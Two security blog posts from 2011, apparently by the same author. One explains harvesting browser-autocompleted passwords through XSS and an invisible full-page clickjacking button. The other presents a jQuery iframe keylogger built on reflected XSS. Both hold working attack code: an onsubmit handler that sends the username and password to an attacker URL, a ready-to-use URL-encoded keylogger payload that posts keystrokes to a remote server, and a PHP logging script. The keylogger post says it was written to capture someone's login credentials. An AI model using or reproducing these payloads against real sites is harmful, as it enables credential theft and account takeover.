Clickjacking and XSS for reading autocomplete credentials.

Phil — Tue, 25 Oct 2011 13:08:50 +0000

By combining Cross Site Scripting (XSS) with Clickjacking and JavaScript it is possible to extract passwords and data stored within the browsers Autocomplete cache.

Autocomplete is a feature supported by all browsers to cache input field values – it can also be used to save user credentials – for example the WordPress login interface has autocomplete enabled. Below is a cut down version of the WordPress login form:

In the ideal world of a hacker they could access this data using the document.loginform.user_logon.value property. This would be extremely useful as it would enable an attacker to harvest stored credentials using just a simple reflected XSS. Sadly as a security feature JavaScript is unable to access the autocomplete input data and instead returns a null string unless the submit button has been pressed (alert(document.loginform.user_logon.value) will not work).

In order to prevent autocomplete from caching the wrong credentials for the wrong domain the browser ties its autocomplete data by destination domain (what’s in the action parameter of your form tag), and by field name (the name of the text input box). This means an attacker can’t place a form on his own domain and hope its automatically completed with the users cached credentials. Autocomplete will however complete fields it recognises on the same domain regardless of their page.

By using a combination of reflected XSS and click-jacking its possible to harvest the users credentials that are cached in autocomplete. The first step is to find a page on the same domain that is vulnerable to XSS. Once you’ve found a page you need to insert a new form into the page as follows:

document.write(
'' +
'   ' +
'  ' +
'  ' +
''
);

This will give you a form that gets filled with autocomplete data like so:

Form inserted into page using XSS

As we cant directly access the values of the autocomplete data we need to convince the user to click on the submit button. All the time they can see our blatant XSS attack they are unlikely too. So next we make both the text fields disappear with a style=”display:none” attribute – we also remove the text from the login button.

The page now looks like a normal page however with a tiny login button the chances of the user clicking on it are remote. The new page will look something like this:

Input fields hidden using XSS

The next step is to increase the size of the login button using the following CSS style, this will make it take over the entire browser window and look slightly less suspicious.

width:100%; height:100%; position:absolute; top:0; left:0; z-index:1000;

Giant button over the entire page

Now we have a giant button taking over the entire site. However as it currently stands all that will happen when the user clicks on the giant button is that their credentials will be posted to the same domain. As we cant change the domain to which the form posts with out loosing the autocomplete data we need to add an onsubmit handler to our injected form. As long as the form submission is triggered with a mouse click the onsubmit JavaScript handler will be able to access to the .value properties of the text boxes – these can then be sent to a domain controlled by the attacker. To combat the fact that the page looks like a giant button we set its opacity to 0 which renders the button totally invisible.

document.write(
'' +
' ' +
' ' +
' ' +
'
');

function doit() {
 document.location = 'http://example.com/capture.php?user=' + document.loginform.username.value + '&password=' + document.loginform.password.value;
}

Now when they click anywhere on the page their click will be hijacked by the giant transparent button, their credentials will be forwarded to the domain controlled by the attacker and the attacker will gain control over the account. The use of Autocomplete for sensitive forms is a bad idea – I have no idea why its enabled for such a popular application such as WordPress.

The attack described above is crude and not particularly sophisticated – with a little time and effort such an attack would be virtually undetectable by the end user.

Javascript keylogger in JQuery.

Phil — Fri, 20 May 2011 14:13:12 +0000

I needed to capture someone’s login credentials using cross site scripting. However I had 3 problems. Firstly there was no XSS on the login page, secondly the only XSS was reflected, meaning it only affected the current page and thirdly the HTTPOnly flag was set on the session meaning I couldn’t hijack it.

So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won’t let you do this.

The general architecture of the exploit looks something like this.

The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a keypress it polls back to a server controlled by the attacker.

The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.

The code:
I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed jQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order – having a time stamp enables you to reassemble the keystrokes in the correct order server-side.

You don’t even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:

$f = fopen("/tmp/log.txt","a+");
fputs($f, $_SERVER['REMOTE_ADDR'] . "\t" . $_GET['t'] . "\t" . chr($_GET['x']) . "\n");
fclose($f);

Encoding the payload:
The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.

%3Cscript+src%3D%22http%3A%2F%2Fcode.jquery.com%2Fjquery-1.6.1.min.js%22%3E%3C%2Fscript%3E%3Ciframe+src%3D%22%2Flogin.php%22+id%3D%22w%22+style%3D%22width%3A100%25%3B+height%3A100%25%3B+position%3Aabsolute%3B+top%3A0%3B+left%3A0%3B+z-index%3A2%3B+background-color%3A%23ffffff%3B%22+onload%3D%22%24%28%27%23w%27%29.contents%28%29.keypress%28function%28event%29+%7B%24.get%28%27http%3A%2F%2Fwww.mysite.com%2Fk.php%3Fx%3D%27%2Bevent.which%2B%27%26t%3D%27%2Bevent.timeStamp%2Cfunction%28data%29%7B%7D%29%3B%7D%29%3B%22%3E%3C%2Fiframe%3E

Web App Security » XSS

Clickjacking and XSS for reading autocomplete credentials.

Javascript keylogger in JQuery.